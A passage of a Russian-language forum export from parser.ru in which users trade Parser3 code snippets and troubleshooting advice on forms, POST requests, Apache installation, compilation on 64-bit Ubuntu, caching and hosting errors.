	Price Retail <input type=\"text\" name=\"price_retail_3\" value=\"0\" />\
\
	<br/>\
	<input type=\"submit\" value=\"Save\" />\
</form>\
\
\
^if(def $form:tables.sizes){\
	$sizes[$form:tables.sizes]\
	^sizes.menu{\
		Size $sizes.field <br/>\
		Price Opt: $form:price_opt_$sizes.field<br/>\
		Price Retail: $form:price_retail_$sizes.field\
	}[<hr/>]\
}\
[/code]\
Причём, если изменить $form:price_opt_$sizes.field на $form:price_opt_1 - данные получаются.\
\
Жду комментариев... :)"
"73431","В первом сообщении, конечно же 2-й size должен быть price_opt_2, price_retail_2\
\
[code]\
<form method=\"post\" enctype=\"multipart/form-data\">\
	Size 1 <input type=\"checkbox\" name=\"sizes\" value=\"1\" checked=\"checked\" />\
	Price Opt <input type=\"text\" name=\"price_opt_1\" value=\"100\" />\
	Price Retail <input type=\"text\" name=\"price_retail_1\" value=\"200\" />\
\
	<br/>\
\
	Size 2 <input type=\"checkbox\" name=\"sizes\" value=\"2\" checked=\"checked\" />\
	Price Opt <input type=\"text\" name=\"price_opt_2\" value=\"200\" />\
	Price Retail <input type=\"text\" name=\"price_retail_1\" value=\"400\" />\
	\
	<br/>\
	\
	Size 3 <input type=\"checkbox\" name=\"sizes\" value=\"3\" />\
	Price Opt <input type=\"text\" name=\"price_opt_3\" value=\"0\" />\
	Price Retail <input type=\"text\" name=\"price_retail_3\" value=\"0\" />\
\
	<br/>\
	<input type=\"submit\" value=\"Save\" />\
</form>\
\
\
^if(def $form:tables.sizes){\
	$sizes[$form:tables.sizes]\
	^sizes.menu{\
		$price_opt_value[price_opt_$sizes.field]\
		$price_retail_value[price_retail_$sizes.field]\
\
		Size $sizes.field <br/>\
		Price Opt: $form:$price_opt_value <br/>\
		Price Retail: $form:$price_retail_value\
	}[<hr/>]\
}\
[/code]"
"73432","Добрый день! Совсем запутался((( не могу решить простейшую задачу... \
\
в форме присутствуют чекбоксы, имеют след. вид\
<input name=\"info1\" type=\"checkbox\">Описание\
.\
.\
.\
<input name=\"info12\" type=\"checkbox\">Описание\
\
Нужно выводить только отмеченные чекбоксы, с текстовыми инпутами все просто $form:name а вот как быть с чекбоксами??? по идее у них у всех имена разные должны быть, а вот смотрю на примере в документации\
[code]  <p><input type=checkbox name=hobby value=\"Театр\">Театром</p> \
   <p><input type=checkbox name=hobby value=\"Кино\">Кино</p> \
   <p><input type=checkbox name=hobby value=\"Книги\">Книгами</p> \
[/code]\
\
здесь задается одинаковое имя, как у radiobutton... \
\
Подтолкните плиз в нужном направлении"
"73433","Нужно сделать у чекбоксов одно name\
\
[code]\
<input type=\"checkbox\" name=\"info\" value=\"1\" />\
<input type=\"checkbox\" name=\"info\" value=\"2\" />\
<input type=\"checkbox\" name=\"info\" value=\"3\" />\
<input type=\"checkbox\" name=\"info\" value=\"4\" />\
\
^if(def $form:tables.info){\
^form:tables.info{\
$form:tables.info.field\
}\
}\
[/code]\
Выведутся только отмеченные значения"
"73434","во второй строке надо .menu дописать... спасибо"
"73437","http://www.parser.ru/forum/?id=71094 - вот это действительно не очевидно."
"73438","На моем сервере крутится скрипт на парсере, одной из задач которого является отправка некоего xml-запроса методом POST на СТОРОННИЙ сервер и получение от этого СТОРОННЕГО сервера ответа на запрос. \
\
Вопрос - можно ли такое сделать средствами парсера? \
\
ps:\
Знаю, как сделать требуемое на curl+php, но хочется средствами парсера. Также знаю, как отправить и получить ответ get-запросом на сторонний сервер, а про post ничего найти не могу. Гуру - подскажите пожалуйста куда рыть?"
"73440","это я подозревал с самого начала =) но к сожалению, для меня это неоднозначный ответ, я не знаю в какую сторону идти. =) \
Просто не понимаю, как правильно сформировать и отослать post-запрос из парсера. \
\
Ткните если не сложно в любой пример подобного решения с post-запросом?"
"73441","В первую очередь интересно посмотреть на те [url=http://www.parser.ru/docs/lang/app1.htm]опции загрузки[/url], которые вы используете."
"73442","$datasend[\
\
<authentification>\
		<username>123</username>\
		<password>123</password>\
</authentification>\
\
]\
$datasendxml[^taint[xml][$datasend]]\
\
$file[^file::load[text;http://gate.ru/_xmld.php;\
   $.timeout(5)\
   $.method[POST]\
   $.body[$datasendxml]\
]]    \
\
$file.text"
"73443","Заодно посмотрите, что в поле status возвращается."
"73444","конечно спецификация есть. только удаленный сервер отвечает о неправильной авторизации. хотя я посылаю все параметры верно. \
\
если код правилен - пойду пинать админов удаленного сервера. \
код точно верен? может я что-то забыл?"
"73446","в том то и дело, что фактически удаленный сервер не обрабатывает ту xml-схему, что я ему хочу запихать в post-запросе. в этой xml-схеме есть поля авторизации и удаленный сервер их не понимает и отказывает одинаковым ответом:\
<RESPONSE> <status>-1</status> </RESPONSE>\
\
т.е. статус - незалогинен.\
\
\
Может я неправильно формирую запрос, делая taint в xml?"
"73447","taint нужен например в такой ситуации:\
\
$xml[<xml><content>^taint[xml][$str]</content></xml>]\
\
Где в $str - что угодно, включая <>.\
В такой ситуации taint гарантирует валидность XML."
"73448","и taint[xml] очевидно не нужен, т.к. он все < > превращает в &lt; &gt;"
"73449","не уверен. =) \
пойду попробую =)"
"73451","Извиняюсь за вопрос. Когда-то тут часто бывал. А щас и логин не могу вспомнить. И поиском тоже, похоже, не очень вспомнил как работает.\\\\\
\
Ткните пожалуйста. При выводе текста в качестве анонса, когда из него уже убраны все теги и задан размер как сделать так, что текст не прерывался на отдельных символах, чтобы текст обрывался после окончания целых слов."
"73452","Есть сверстанные HTML-шаблоны. Нужен программист на Parser: \
 - 6-страничный магазин-витрина с корзиной\
 - порядка 20 товаров \
 - интеграция с платежными системами \
 - простая система управления товарами на сайте и заказами (только \"back-office\", личного кабинета на сайте непосреддственно у покупателя нет)\
\
Подробнейшее ТЗ и ссылку на сверстанные шаблоны пришлю в ответ на письма с ссылками на Ваших работ, выполненных на Parser и JavaScript."
"73453","делается тривиально:\
[code]\
^request:body.save[/na/derevnyu/dedushke/posylka.txt]\
[/code]"
"73454","как вариант, если строка уже обрезана по длине\
[code]^str.match[(.+)[:;., ].+$][]{$match.1}[/code]\
В квадратных скобках, символы по которым будет производится обрезка. Можно добавить еще, но мне кажется этого хватит."
"73455","Есть таблица \"размер цена\". Бывает, что одна цена у нескольких размеров. Соответственно, чтобы не плодить записи, нужно объеденить вывод \"размер 1, 2 цена - 1000. размер 3, 4 - 2000\"\
\
Я сделал так, может есть ещё варианты решения?\
[code]\
$t1[^table::create{size	price\
1	1000\
2	1000\
3	2000\
4	2000\
}]\
\
$h1[^t1.hash[price][$.distinct(1)]]\
\
^h1.foreach[price;size]{\
	$t2[^t1.select($t1.price == $price)]\
	Size: ^t2.menu{$t2.size}[, ] Price: $price\
}[<br/>]\
[/code]"
"73456","Собственно конфиг apache2 стандартный\
разве что parser установлен в /usr/bin/ а в cgi-bin закинут такой скрипт\
#!/usr/bin/parser3\
\
ну и .htaccess\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
\
В результате html в которых размещен код parser, не выполняется.\
\
результат можно видеть тут www2.etherway.ru\
\
В чем причина? Как лечить?"
"73457","т.к. посетителю может быть очень неудобно глазами искать интересующий его размер.\
\
P.S. но ещё есть $.distinct[tables]"
"73459","А вот если наоборот - получается громоздко\
\
с $.distinct[tables] сделал так\
[code]\
$h1[^t1.hash[price][$.distinct[tables]]]\
\
^h1.foreach[price;sizes]{\
	Size: ^sizes.menu{$sizes.size}[, ] Price: $price\
}[<br/>][/code]"
"73460","Да действительно если набрать www2.etherway.ru/cgi-bin/parser3 то получаем 500 ошибку, но настройки апача верные, rewrite обрабатывается, в error.log ничего подозрительного нет:\
[Wed Sep 08 12:12:24 2010] [error] [client 91.197.172.11] [Wed Sep  8 12:12:24 2010] [1690] Parser/3.4.0 [no request info]\
[Wed Sep 08 12:12:24 2010] [error] [client 91.197.172.11] Premature end of script headers: parser3"
"73461","похоже разобрался, dmesg выдал\
parser3[1921]: segfault at 7 ip 00007f9ba51b435e sp 00007fff57202f00 error 4 in libc-2.11.1.so[7f9ba516b000+17a000]\
\
осталось выяснить что ему не нравится."
"73462","Собственно начинаются танцы с бубном по компилации в ubuntu server 10.04 64bit\
\
при сборке \
In file included from pa_pool.C:14:\
../../src/include/pa_charset.h:23:27: error: pcre_internal.h: Нет такого файла или каталога\
\
и не важно как подготавливать makefile через build-all или configure"
"73463","скорее всего вы взяли бинарник не для вашей OS.\
\
а первая ваша проблема в том, что парсер таки НЕ назначен обработчиком (и про это тоже есть в FAQ-е)."
"73464","[quote]\
и не важно как подготавливать makefile через build-all или configure\
[/quote]\
важно. buildall раскладывает либы так, как они потом инклюдятся.\
\
P.S. уверены, что ни один из существующих бинарников не подходит?"
"73465","И чето бы решить ее решил собрать парсер из исходников (а парсер был установлен из репозитария убунты).\
При собрке появилась проблема с prce.h"
"73466","Да, я попробовал\
http://www.parser.ru/f/1/download/linux/parser3_4_0_debian5x64_cgi.tar.gz\
\
при выполнении из апача, выдают ошибку с библиотекой (но что интересно при простом запуске из консоли все ок)"
"73467","Благодарю."
"73468","По-идее если из консоли работает, то и из apache должно работать..."
"73469","Здравствуйте, юзаю wamp2.0.Скачал инсталлятор parser3. Куда распоковывающиеся файлы положить? Добавил parser3.exe в c:\\wamp\\bin\\apache\\Apache2.2.11\\cgi-bin\\.\
Строчка из httpd.conf \
[code]ScriptAlias /cgi-bin/ \"cgi-bin/\"[/code]\
\
Вот такой сейчас конфиг виртуального хоста (extra\\httpd-vhosts.conf)\
\
[code]<VirtualHost *:80>\
	ServerAdmin mail@gmail.com\
	DocumentRoot \"c:/wamp/www/parser\"\
	ServerName parser\
	AddHandler parsed-html html\
	Action parsed-html /cgi-bin/parser3.exe\
	\
	<Directory \"c:/wamp/www/parser\">\
		AllowOverride All\
	</Directory>\
</VirtualHost>[/code]\
\
В c:/wamp/www/parser/ создал auto.p([@somefunc[] hello World) с простейшей функцией и index.html (^somefunc[]) \
\
При обращении к http://parser вылетает 500 ошибка\
Internal Server Error\
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator, mail@gmail.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
\
В error.log строчки связанные с этим: [code][error] [client 127.0.0.1] Premature end of script headers: parser3.exe[/code]"
"73470","Прилагаемые к парсеру dll файлы не забыли рядом с ним положить?"
"73471","они лежат в www папке, собственно с этим и проблема - не знаю куда что класть, dll тоже в сgi-bin?"
"73472","Да, они должны лежать рядом с исполняемым файлом, как и auto.p, и директории с файлами кодировок / sql драйверами."
"73473","Собрал я парсер из исходников.\
конфиг файл лежит /etc/parser3 (при сборке указал --sysconfdir=/etc/parser3\
отдельно собрал libparser3mysql положил в /usr/lib/parser3\
\
фрагмент основного конфига\
@conf[filespec]\
$confdir[/etc/parser3]\
$charsetsdir[/usr/share/parser3/charsets]\
$sqldriversdir[/usr/lib/parser3]\
\
$CHARSETS[\
#    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	/usr/lib/libmysqlclient.so.15\
#pgsql	$sqldriversdir/libparser3pgsql.so	/usr/lib/libpq.so.5\
#sqlite	$sqldriversdir/libparser3sqlite.so	/usr/lib/libsqlite3.so.0\
#oracle	$sqldriversdir/libparser3oracle.so	-configure could not guess-\
}]\
]\
\
однако ругается:\
/: /srv/http/ewsite/html/auto.p(47:2): 'mysql://ewsite:ewsite@127.0.0.1/ewsite?charset=cp1251_koi8' $SQL:drivers table must be defined [parser.runtime]\
\
как определить подключилась ли mysql библиотека или нет."
"73474","P.S. лично я даже не знаю что такое sysconfdir %-). и у меня есть подозрение, что он парсером не используется. предлагаю вам собрать без этой опции, конфигурационный auto.p положить рядом с бинарником (это конфиг _сайта_, в нём должны быть вещи специфичные для сайта), а файлы кодировок и драйвера положить куда вам больше нравится, указав путь к ним в этом конфигурационном auto.p (именно так, как вы это сделали сейчас)"
"73475","инсталлятор туда положил-бы и exe-шник и dll-ки.\
\
проверить можно было просто нажав enter на exe-шнике. должен вывести свою версию."
"73476","Откуда по умолчанию Parser3 пытается прочитать глобальный конфиг?\
Дело в том что у нас auto.p есть для сайта и есть auto.p общий (в котором как раз описаны подключаемые модули)."
"73477","Собственно вот, снова вернулись к тому с чего начинали.\
Не обрабатывается parserом код.\
Хотя в правильности .htaccess я уверен:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
\
DirectoryIndex index.html\
RewriteEngine On\
RewriteRule ^([^.]+)$ index.html?$1\
\
ErrorDocument 404 /404/\
\
Хотя бы потому что если Action заменить на что-то другое (неправильно) то получаем соотвествуюший error об этом."
"73478","почитайте это http://www.parser.ru/docs/lang/?regexclass.htm"
"73479","сравните:\
http://www2.etherway.ru/cgi-bin/parser3\
и\
http://www.parser.ru/cgi-bin/parser.parser3.cgi\
\
imho: что-то у вас неверно собралось. почему -- я не знаю.\
почему не подключается обработчиком некорректно собранное -- гадать конечно можно, но думаю не стоит. мне кажется, в начале надо получить нормально собранный бинарник."
"73480","Вы меня конечно простите, но это писец какое убийство собирать парсер.\
делаешь все по мануалу а результат через жопу. (накипело).\
Так и придется переделывать сайт на нормальном движке с php"
"73481","и по мануалу-ли была сборка? [URL=http://www.parser.ru/forum/?id=73476]сомневаюсь я[/URL] что-то...\
[quote]Откуда по умолчанию Parser3 пытается прочитать глобальный конфиг?[/quote]\
\
http://www.parser.ru/download/linux/\
[quote]Скачайте архив «Конфигурационный файл и файлы описания кодировок» и распакуйте его в каталог, с CGI скриптом.[/quote]\
\
http://www.parser.ru/docs/lang/install.htm\
[quote]конфигурационный файл считывается из файла, заданного переменной окружения CGI_PARSER_CONFIG, \
Если переменная не задана, ищется в том же каталоге, где расположен сам CGI скрипт.[/quote]\
\
\
вы безусловно профессионал, но мы -- любители, и мысли читать не можем (\"а что собираете-то?\", \"Какую конкретно ошибку?\"). если что-то не понятно -- мы спрашиваем. если не отвечают (а например просто прыгяют с одной проблемы на другую) -- помочь не можем (хотя мне кажется, что мы попытались)."
"73482","Не хочется уходить в полемику, но вот как раз через buildall и был собран парсер который как мы видим не работает."
"73484","- вы так и не ответили на вопрос \"что вы собирали?\". перефразирую: какую версию исходников вы брали и где вы её брали? (надо: брать 3.4.0, не раньше, из cvs или из архива с сайта)\
\
- вы писали и про configure и про buildall. я не знаю как вы это всё перемешивали. надо: распаковать, запустить. если что-то подправляли и хотите пересобрать: make distclean и опять buildall...\
\
- после сборки неплохо прогнать тесты: cd tests; make tests\
\
- увы, 64-битные версии у нас появились совсем недавно. возможны баги, которые мы старались исправить и на используемых нами ОС исправили. возможно где-то они остались, но пока нам о них не сообщат -- мы о них не знаем и исправить не можем."
"73485","Последовательность:\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co -r release_3_4_0 parser3\
cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project co sql\
\
cd parser3\
./buildall-without-xml\
\
так же собрал sql/mysql\
\
собраный бинарник поместил в /cgi-bin сервера туда же воткнул auto.p\
\
libparser3mysql закинул в каталог с библиотеками\
\
все\
результат:\
http://www2.etherway.ru/cgi-bin/parser3\
\
Система:\
Linux 2.6.32-21-server #32-Ubuntu SMP Fri Apr 16 09:17:34 UTC 2010 x86_64 GNU/Linux"
"73486","Соответственно нужен будет ssh, слать на moko@design.ru.\
Можем посмотреть и сами, что не так, но это уже в течении недели\
(под рукой 64-х битной убунты нужной версии нет)."
"73487","отписался."
"73488","Одна \"мелочь\", которую Андрей забыл сообщить - это то, что ранее сайт работал на парсере версии 3.3.0. :)\
Соответственно все починилось после замены ^process{$code} на ^process{^untaint{$code}}.\
Но не исключено, что что-нибудь еще поломалось..."
"73489","Program terminated with signal 11, Segmentation fault.\
(gdb) bt\
#0  0x00007f8ff97e435e in vfprintf () from /lib/libc.so.6\
#1  0x00007f8ff9807682 in vsnprintf () from /lib/libc.so.6\
#2  0x000000000040ae53 in __vsnprintf (b=0x7fff7f61c3f0 \"Parser/\", s=1023, f=0x552a17 \"Parser/%s\", l=0x7fff7f61c840) at pa_common.C:945\
#3  0x0000000000406772 in die_or_abort (fmt=0x552a17 \"Parser/%s\", args=0x7fff7f61c840, write_core=false) at parser3.C:164\
#4  0x00000000004068e0 in SAPI::die (fmt=0x552a17 \"Parser/%s\") at parser3.C:201\
#5  0x0000000000406e17 in real_parser_handler (filespec_to_process=0x7fff7f61dc10 \"\", request_method=0x7fff7f61ff47 \"GET\", header_only=false)\
    at parser3.C:382\
#6  0x000000000040785f in main (argc=1, argv=0x7fff7f61e138) at parser3.C:754\
\
(gdb) print *l\
$2 = {gp_offset = 24, fp_offset = 48, overflow_arg_area = 0x7fff7f61c920, reg_save_area = 0x7fff7f61c860}\
\
Более-менее разобрался, в чем дело - внутри die_or_abort мы сначала вызываем log, который тоже вызывает vsnprintf.\
А в доке написано так:\
\
The  functions  vprintf(),  vfprintf(), vsprintf(), vsnprintf() are equivalent to the functions printf(), fprintf(), sprintf(), snprintf(), respectively, except that they are called with a va_list instead of a variable number of arguments.  These functions do not call the va_end macro.  Because they invoke the va_arg macro, the value of ap is undefined after the call.  See stdarg(3).\
\
В общем непонятно, почему только сейчас вылезло. :)"
"73490","Здравствуйте, подскажите пожалуйста как у $res[^table::sql{...}] посчитать кол-во записей и выдернуть [b]1[/b] строчку из этого набора?"
"73492","Необходимый минимум включает в себя:\
—знание парсера. :)\
—знание HTML, CSS, JavaScript и SQL;\
—представление об XML и XSLT.\
\
Примеры кода (от 30kb, законченность значения не имеет)\
и ссылки на свои работы (сайты) посылать на moko@design.ru.\
\
Заниматься придется предположительно собственными проектами студии."
"73493","Привет сообществу parser! Нужна ваша помощь, ребята.\
\
Пытаюсь решить следующую задачу :/\
\
1. Вывести у себя на сайте html удаленной ссылки вида http://site.com/server/post/id/22\
2. Последующие разы брать результат из своего кеша"
"73495","Исходники парсерного кода присылать? или всего понемногу HTML, CSS, JavaScript, SQL, пасрер, XSLT..."
"73496","Предложение еще актуально? Если да - могу помочь. Skype: delrosario.ernesto или на почту delrosario.ernesto@gmail.com"
"73497","Верстку лучше ссылками. А так да, и JS, и XSLT, и SQL, и понятно парсер интересны.\
Опять же - выше уровень (больше знаний) - выше зарплата. :)\
\
P.S. подразумевается работа в офисе студии (в Москве)."
"73498","Ваш \"PS\" полностью убил все надежды :) В Киеве подобных вакансий не предвидеться?"
"73499","Следите за вакансиями на студийном сайте. :)"
"73500","Понятно, буду следить :)"
"73501","как сделать двойной перевод строки, т.е.\
\
[code]^taint[^#0A]^taint[^#0A][/code]\
\
если так и писать, то все равно оставляет один перенос.\
замену <br /> делаю реплейсом. сколько бы переносов не было подряд, все равно оставляет только один. заранее спасибо :)"
"73504","Решил попробовать поработать с BC API через parser, если на PHP cURL проблем не было, то тут столкнулся с проблемой:\
\
Отправляю запрос:\
\
[code]\
$get_auth[^file::load[text;http://pr.basecamphq.com/projects.xml; \
		$.headers[\
  			$.Accept[application/xml]\
  			$.Content-type[application/xml]\
		]\
		$.user[xxx]\
		$.password[xxx]\
]] \
[/code]\
\
Получаю: \
\
403\
\
invalid HTTP response status\
\
Возможно я не совсем понял конструкции ^file:load. \
Никто не интересовался этой темой? Что тут может быть?"
"73505","Хотя бы примитивную на картинке...\
\
Re:captcha - можно подключить - но, имхо, реально перебор для простых смертных."
"73510","Привет! \
\
Подскажите, пожалуйста, решение проблемы.\
\
в каталоге лежит множество файлов, среди которых нужные мне 1529-город.html... - ... 1541-город.html \
\
Мне нужно на другой странице с помощью ^file[] подключать содержимое этих файлов в рандомном порядке... Есть один вариант с созданием массива, в котором названия городов будут ассоциированы с числом... но мне кажется есть способ попроще... \
[code]\
^for[step](0;2){\
<div class=\"block city ^if($step == 2){last}\">\
<a href=\"/contacts/regional/\">Ростов-на-Дону</a><br />\
$file[^file::load[text;/o/1537-rostov_na_donu.html]]\
$htfile[^untaint[as-is]{$file.text}]\
$htfile\
</div>\
}\
[/code]"
"73511","Получаю значение с формы, примерно так:\
[code]<input type=\"text\" name=\"input1\" value=\"${form:input1}\" />[/code]\
В коде у меня получается переменная [b]$form:input1[/b]\
Эта переменная подставляется в нужное место и код дальше работает как надо. \
Но иногда возникает ситуация когда этой переменной ($form:input1) надо изменить значение.\
Я это делаю так:\
[code]$form:input1[new_value][/code]\
Но возникает ошибка:\
[color=\"#ff0000\"]element can not be stored to form[/color]\
\
Вижу выход только один (так как в парсере не силён), это создать дополнительную переменную в роли \"[i]посредника[/i]\" и ей передавать нужные мне значения и изменять её как угодно. Но мне это не нравиться так как появится лишний код. А как сделать по грамотному не могу сообразить, был бы признателен за помощь."
"73514","алгоритм примерно такой:\
$files[^file:list[ваша_папка;шаблон_файлов]]\
^if($files){\
^files.offset(^math:random(^files.count[]))\
$f[^file::load[text;$files.name]]\
$f.text\
}\
\
не проверял"
"73515","... таблицу лучше всего сохранить, и с ней уже работать. А то если там более 1500 файлов, нагрузка на дисковую подсистему будет велика.\
А еще лучше, если есть какой-то интерфейс, для добавления сих городов, то табличку сохранять через него."
"73516","спасибо, а регулярное выражение составить не поможете? то есть то , что нужно вставить вместо шаблон_файлов\
\
все файлы вида 1529-любое_кол-во_символов.html,1530-любое_кол-во_символов.html... - 1540-любое_кол-во_символов.html,1541-любое_кол-во_символов.html\
\
сейчас сам попробую составить..."
"73518","сомневаюсь что это правда. Получить список файлов папки совсем не ресурсоемкая задача, если только не делать в цикле десять тысяч раз."
"73519","При создании файла, необходимо на него поставить права 777, как это сделать?\
\
Есть методы ^file::create и ^stroka.save\
которые создают файлы и директории, но как указать права что-то не понял."
"73520","С такими правами ваши файлы сможет перезаписать любой пользователь сервера. Поэтому правильнее разобраться с правами, чтобы такой странной необходимости у вас более не возникало.\
\
\"Штатной\" возможности для изменения прав на файлы в парсере не будет, поскольку это уменьшит его безопасность.\
\
А так есть два варианта:\
- запускать парсер с правильным umask (он определяет, с какими правами по умолчанию создаются файлы)\
- написать и вызывать chmod.sh, который внутри будет делать chmod $1 $2."
"73522","что-то не склеилось у меня с регулярным выражением, решил сделать предварительную выборку нужных страниц через БД...\
\
[code]^sql{$city[^table::sql{SELECT id,dir,title from ${MAIN:pre}map WHERE parent_id=1526 AND id!=1528} ]}							\
						\
$rnd(^math:random(7)+1)\
						\
^for[step](0;2){\
		<div class=\"block city ^if($step == 2){last}\">\
		^city.offset($rnd)\
		<a href=\"/contacts/regional/\">$city.title</a><br />\
								$htxt[^file::load[text;/o/${city.id}-${city.dir}.html]]\
								$txt[^untaint[as-is]{$htxt.text}]\
								$txt\
^rem{\
$spl[^txt.split[/;l]]\
$spl.0\
}	\
</div>\
}\
[/code]		\
\
так вот все работает как нужно, НО в некоторых страницах забита информация по двум городам... в итоге лишняя инфа вылезает за границы, поэтому нужно обрезать строку... если раскомментировать две строки, то выдает ошибку... без этих строк работает...\
\
не могу понять, в чем дело"
"73524","либо\
[code]$spl.piece[/code]\
\
[url=\"http://www.parser.ru/docs/lang/stringsplit.htm\"]Тут[/url] же все очень ясно расписано..."
"73526","Пытаюсь перенести сайт на хостинг в Эстонии. Техподдержка у них работает только по будням, и отвечает медленно, а вопрос довольно срочный.\
\
Лог ошибок выдает следующее сообщение: SetHandler/AddHandler can be only 'default-handler' or 'none'\
\
Что посоветуете? Чем может вызвана такая ошибка. Заранее спасибо."
"73527","по моему не подключен модуль mod_mime, который и позволяет устанавливать то, что требуется.\
\
P.S. могу ошибаться"
"73528","У меня есть ряд дополнительных сайтов, которые работают от корневого сайта (как субдомены), в том смысле, что httacess у них пустой. Домен не продлили. и теперь все сайты не работают. Возможно ли прописать в httacess этих субдоменов, чтобы работали?\
\
/home/whatdoyo/public_html/XXX/cgi-bin/parser3.cgi\
\
не работает, как и стандартное /cgi-bin/parser3.cgi, а также\
/public_html/xxx/cgi-bin/parser3.cgi (где ххх это название субдомена и папки, где хранятся файлы)\
\
Выскакивает not found, a в стандартном случае выходит Inernal Sever Error, причом все логи пусты.\
\
Если удалить файл httacess то выводится код, то есть проблема только в пути, насколько я понял.\
\
Техподдержка отправила меня проконсултироваться с разработчиками. Что я и дела. Заранее спасибо."
"73530","Это другой вопрос. Другой хостинг."
"73531","если вы пишите в htaccess /home/whatdoyo/public_html/XXX/cgi-bin/parser3.cgi -- это ошибка.\
\
если вы пишите этот путь у какой-либо инструкции -- то приведите инструкцию, т.к. телепаты в отпуске."
"73532","Я пишу /cgi-bin/parser3.cgi в файлу httacess и выдает ошибку. воть. а в логе не пишется, отчего ошибка."
"73533","если вы пишите просто \"/cgi-bin/parser3.cgi\" в htaccess -- это ошибка, т.к. вед сервер не понимает что это за буквы такие.\
\
в htaccess пишутся команды/инструкции для веб сервера, а /cgi-bin/parser3.cgi может быть лишь параметром в какой-то команде. что за команду вы даёте -- вы не говорите => помочь вам не представляется возможным.\
\
такую ошибку надо смотреть в локе error.log веб сервера, а не в parser3.log. она там должна быть."
"73534","Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
Please contact the server administrator, webmaster@xxx.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the server error log.\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\
-----------------------------------------------------------------\
Apache/2.2.15 (Unix) mod_ssl/2.2.15 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at xxx.ru Port 80\
\
Сайт работает там давно и вдруг бац..\
В поддержку обратился, пока ответили, что ошибку вызвали \"неверные директивы\" в .htaccess, вот эти:\
\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
т.е. они их закомментировали..\
\
Вообщем ошибка выдается на вторую строчку, где указан путь к парсеру...\
ЧТо-же они могли изменить там у себя, раньше там были проблемы с драйвером к MySQL, исправляли, а сейчас ошибка уже не в этом, видимо, раньше возникает именно при обращении к парсеру..\
\
ОС Linux\
Версия ядра 2.6.18-194.8.1.el5.028stab070\
Архитектура x86_64 \
Версия MySQL 5.0.77-log\
Версия Apache 2.2.15\
\
В логе парсера (в папке cgi-bin в файле parser3.log) записи на эту ошибку не добавляются, т.е. до этого и не доходит.."
"73535","Аналогично на domen.com.ua\
Поддержка ответила что найдена уязвимость в 32-битных приложениях, и их запуск просто запретили пока вендоры не выпустят патч для серверного ПО. Пришлось на всех сайтах обновлять парсер на 64-бит.\
\
Возможно у вас тоже самое."
"73536","они ответили:\
\"В связи с обнаружением уязвимости, временно отключена возможность запуска бинарных файлов. Данная мера временная, технические специалисты работают над решением данной проблемы, приносим извинения за временные неудобства.\"\
\
Т.е. теперь просто ждать..?"
"73537","у меня с 10-к проектов на hc.ru, все работают, видимо от сервера к серверу ситуация разнится"
"73538","Имя сервера где мой сайт fea2\
\
..."
"73539","Попробуйте в секции VirtualHost у ваших субдоменов указать директиву ScriptAlias на папку /cgi-bin"
"73540","Считаю неудобным, что в @unhandled_exception сбрасывается $response:content-type[] в дефолтный \"text/html\", даже если до этого (в коде любого метода) был объявлен другой тип, например, \"application/json\".\
Возможно это ошибка.\
\
Что скажут разработчики?"
"73541","Парсер удаляет вообще все заголовки, которые были выставлены в коде до unhandled_exception, т.е. пытается минимизировать любое негативное влияние неверного кода на внешнюю среду."
"73542","... то сделать можно что угодно:\
[code]\
@main[]\
  ^try{\
    ...\
  }{\
     $exception.handled(true)\
     И тут делаем, что хотим. Можно даже ручками позвать\
     ^unhandled_exception[$exception], правда без \"стека\".\
   }\
\
[/code]"
"73543","Нет, это совсем не то.\
Пришлось обернуть ещё один кусок кода в try, и там отлавливать по exception.type некоторые моменты.\
До этого всё уживалось в одном @unhandled_exception и выглядело цельно."
"73544","А порекомендуйте сабж. Zone.ee пробовали. У них отсутствует тех. поддержка и отключен мод mime."
"73545","видмо стисемная поддержка читает форум. иначе как объяснить что всё заработало само."
"73546","Перечитал внимательно тред.\
\
[quote]Я пишу /cgi-bin/parser3.cgi в файлу httacess[/quote]\
Я вам настоятельно рекомендую прочесть подраздел \"Как подключить Parser к Apache?\" в разделе \"[url=\"http://www.parser.ru/faq/install/\"]Вопросы по установке[/url]\", чтобы иметь представление что указывать в файле .htaccess\
\
То что вы указываете в этом файле - является неправильным и должно приводить к внутренней ошибке сервера (что вам собственно и объяснял Миша выше).\
\
Так-же останется загадкой как у вас все работало до этого, и внезапно заработало сейчас."
"73547","да, порой так трудонн увидеть, насколько человек разбирается в вопросе. ну конечно же я указывал полностью как и указано в мануале. addhandler и так далее. просто это была проблема провайдера. я так думаю теперь."
"73549","предположим, что мы пишем в кеш некое значение, например:\
[code]\
$value[100]\
$tmp[^cache[test.ch](31536000){$value}]\
[/code]\
\
затем проходит некоторое время и мы хотим заменить значение в кеше на другое, причем время кеша к этому моменту ещё не истекло...\
\
приходится делать так:\
[code]\
$value[101]\
^try{^file:delete[test.ch]}{$exception.handled(1)}\
$tmp[^cache[test.ch](31536000){$value}]\
[/code]\
\
а было бы неплохо:\
[code]\
$tmp[^cache[test.ch](0){^cache(31536000)$value}]\
[/code]\
\
но так не работает..."
"73550","[code]\
  $regenerate(некоторе условие)\
  $tmp[^cache[test.ch](^if($regenerate){1}{31536000}){$value}]\
[/code]\
\
Только не понятно зачем вообще надо кешировать одно значение на такое громадное время? Его вычисление производится сложным запросом и кеш СУБД не в состоянии справится с хранением этого числа?"
"73551","ты предлагаешь для некоторых случаев кэшировать контент на 1 секунду (может лучше тогда вообще не кэшировать?)\
\
